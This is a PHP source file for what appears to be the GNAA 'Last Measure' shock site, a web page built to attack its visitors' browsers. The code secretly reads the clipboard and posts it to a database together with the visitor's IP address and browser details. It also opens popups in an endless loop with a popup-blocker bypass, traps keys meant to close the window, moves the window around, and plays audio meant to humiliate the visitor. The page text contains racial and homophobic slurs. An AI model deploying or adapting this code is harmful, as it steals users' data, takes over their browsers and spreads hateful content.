source: trollforge/lastmeasure/index.php @ 153

<?php
include("include/browser.php");

/* Browser features */
$br = new Browser;
$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);

/* Additional information */
$send = $_POST['send'];
$popup = $_GET['popup'];
$music = $_GET['music'];
$procreate = $_GET['procreate'];

/* Print a random image name, with its 'image/' prefix. */
$imagelist = array();
$dh = opendir('images/');
while(($file = readdir($dh)) != false) {
  $ext = substr($file, -3);
  if($ext == 'jpg' || $ext == 'gif') {
    $imagelist[] = $file;
  }
}
closedir($dh);
function random_image() {
   global $imagelist;
   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
}

function hey_everybody() { ?>
  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
          width="1" height="1" id="hey" align="">
    <param name="movie" value="flash/hey.swf"></param>
    <param name="quality" value="high"></param>
    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
           type="application/x-shockwave-flash"
           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
  </object>
<?php
}

function external_ruin() { ?>
  <script>
    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
        mail += '&body=www.gnaa.us';
    var news = 'news:alt.flame.niggers';

    var protos = [
      mail,
      //'irc://irc.gnaa.us/#gnaa',
      //'rlogin://x.x.x.x:xx',
      mail,
      //'telnet://x.x.x.x:xx',
      //'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
      news,
      //'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
    ];

    function add(str) {
      div = document.getElementById('goatse');
      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
    }

    function extruin() {
      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
      for(i = 0; i < 5; i++) {
        add(mail);
        add(news);
      }
      ruin();
    }

    function ruin() {
      for(i = 0; i < protos.length; i++) {
        add(protos[i]);
      }
      //print();
      setTimeout("ruin()", 200);
    }
  </script>
<?php
}

function move_around($w, $h) { ?>
  <script>
    var images = new Array;
    <?php
    global $imagelist;
    echo "var imagecount = ".count($imagelist).";\n";
    for($i = 0; $i < count($imagelist); $i++) {
      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
    } ?>

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(<?php echo "$w, $h";?>);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
  </script>
<?php
}

function popup_bypasser() { ?>
  <!-- This chunk bypasses popups -->
  <script>
    function shellscript() { 
      for(i = 0; i < 5; i++) {
        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
      }
    }

    function main() {
      x.DOM.Script.execScript(shellscript.toString());
      x.DOM.Script.setTimeout("shellscript()");
      setTimeout("main()", 200);
    }
  </script>
<?php
}

function divert_onload() { ?>
  <script language="JavaScript">
    <!--
    var SymRealOnLoad;
    var SymRealOnUnload;
    var SymRealWinOpen;

    function SymOnUnload() {
      window.open = SymWinOpen;
      if(SymRealOnUnload != null)
        SymRealOnUnload();
    }

    function SymOnLoad() {
      if(SymRealOnLoad != null)
        SymRealOnLoad();
      window.open = SymRealWinOpen;
      SymRealOnUnload = window.onUnload;
      window.onUnload = SymOnUnload;
    }

    SymRealOnLoad = window.onLoad;
    window.onLoad = SymOnLoad;
    //-->
  </script>
<?php
}

function activate_applets() { ?>
  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
          align="middle" height="1" width="1">
    <param name="ActivateApplets" value="1"></param>
    <param name="ActivateActiveXControls" value="1"></param>
  </object> 
<?php
}


/*
 * Database shit
 */
function store_hit() {
    $ip = $_SERVER['REMOTE_ADDR'];
    $port = $_SERVER['REMOTE_PORT'];
    $hostname = base64_encode('');
    $uagent = base64_encode($_SERVER['HTTP_USER_AGENT']);
    $referer = base64_encode($_SERVER['HTTP_REFERER']);
    $user = base64_encode($_GET['u']);
    $clipboard = base64_encode('');

    $key = sprintf('%08x', -1 - time()) . substr(md5($ip . rand()), 0, 8);
    $val = "$ip $port $hostname $uagent $referer $user $clipboard";

    $id = dba_open('db/hit.db', 'c', 'db4');
    if($id) {
        /* First check that this IP hasn't already been recorded */
        $tmpkey = dba_firstkey($id);
        $tmpval = dba_fetch($tmpkey, $id);
        $tmplist = explode(' ', $tmpval);
        $tmpip = $tmplist[0];
        if($tmpip == $ip) {
            return $tmpkey;
        }

        dba_replace($key, $val, $id);
        dba_close($id);
    }

    $id = dba_open('db/uagent.db', 'c', 'db4');
    if($id) {
        if(dba_exists($uagent, $id)) {
            $count = dba_fetch($uagent, $id);
            dba_replace($uagent, $count + 1, $id);
        } else {
            dba_insert($uagent, '1', $id);
        }
        dba_close($id);
    }

    $id = dba_open('db/user.db', 'c', 'db4');
    if($id) {
        if(dba_exists($user, $id)) {
            $count = dba_fetch($user, $id);
            dba_replace($user, $count + 1, $id);
        } else {
            dba_insert($user, '1', $id);
        }
        dba_close($id);
    }

    return $key;
}

function store_clipboard() {
    $key = $_POST['key'];

    $id = dba_open('db/hit.db', 'c', 'db4');
    if(!$id) {
        return;
    }
    if(dba_exists($key, $id)) {
        $val = dba_fetch($key, $id);
        list($ip, $port, $hostname,
             $uagent, $referer, $user, $clipboard) = explode(' ', $val);
        $clipboard = base64_encode($_POST['content']);
        $val = "$ip $port $hostname $uagent $referer $user $clipboard";
        dba_replace($key, $val, $id);
    }
    dba_close($id);
}

/*
 * The rest of our code
 */

?>
<html>
  <head>
    <title>GNAA Last Measure Unified</title>
    <script language="JavaScript">
      <?php include("include/js.inc"); ?>
    </script>
    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
  </head>
<?php

    /*
     *
     *  First window ever, this should be our entry point
     *
     */

    if(!$popup && !$send && !$procreate && !$music) {
        $key = store_hit(); ?>
    <body>
      <?php include "include/goatse.php"; ?>
      <form name="clip" method="post" action="index.php" style="display:none">
        <input type="text" name="content">
        <input type="hidden" name="send" value="1">
        <input type="hidden" name="key" value="<?php echo $key; ?>">
        <input type="submit">
      </form>
      <script language="javascript">
        // without this if statement check, it bombs out with an error
        if (typeof clipboardData != 'undefined') {
          var content = clipboardData.getData("Text");
          document.forms["clip"].elements["content"].value = content;
        }
        document.forms["clip"].submit();
      </script>
    </body><?php

    /*
     *
     *  This is still the first window, but we got the clipboard contents
     *
     */

    } elseif($send || $popup || $music) {
      if($send) {
        store_clipboard();
        $flash = 'flash/first_opener.swf';
      } else {
        $flash = 'flash/second_opener.swf';
      } 
      ?>
<body background="<?php random_image();?>" bgcolor="#ffffff"
      onLoad="setTimeout('extruin()',200);<?php if($br_ie6) { ?>setTimeout('main()',100);<?php } ?>"
      onKeyDown="altf4key();ctrlkey();delkey();"
      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  <?php move_around(800, 600);
        external_ruin();
        activate_applets();
        if($br_ie6) {
          popup_bypasser();
          divert_onload();
        } ?>
  <table width="100%" height="100%">
    <tr>
      <td valign="middle">
        <div align="center">
          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
          <br />
          <br />
          <?php if(!$br_ie6) { ?>
            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
                    width="1" height="1">
              <param name="movie" value="<?php echo $flash;?>"></param>
              <param name="quality" value="high"></param>
              <embed src="<?php echo $flash;?>" quality="high"
                     pluginspage="http://www.macromedia.com/go/getflashplayer"
                     type="application/x-shockwave-flash" width="1" height="1">
              </embed>
            </object>
          <?php } ?>
        </div>
      </td>
    </tr>
  </table>
  <form>
  <?php if($send) {
    hey_everybody(); ?>
    <input type="submit" value="CLICK ME" name="CLICK ME"
           style="width: 2000px; height: 2000px;
                  background-image: url('<?php //random_image();?>');"
           src="<?php //random_image();?>" height="300" width="300"
           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
                        return true; }document.goatse.reset();movew0w();
                        return true;"
           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
                    return true; } movew0w();return true;"
           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
                       return true; } else{procreate();}
                       movew0w();return true;">
    <br />
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  <?php } ?>
  </form>
  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
  </form>
</body><?php

    /*
     *
     *  Window is a procreate window
     *
     */

    } elseif($procreate) {
      ?>
<body bgColor="#ffffff"
      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
      onKeyDown="altf4key();ctrlkey();delkey();"
      onMouseOver="procreate();movew0w();">
  <?php move_around(800, 600);?>
  <h1>PROCREATING LAST MEASURE!!!</h1>
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  <h1>Fristage Postage is MINE.</h1>
  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
  fucking nigger operating system.. at least in fucking Firebird you don't
  have to do this shit.
  <?php hey_everybody(); ?>
  <form name="goatse" action="#" ONreset="procreate(); return true;">
  </form>
</body>
<?php

    }
?>
</html>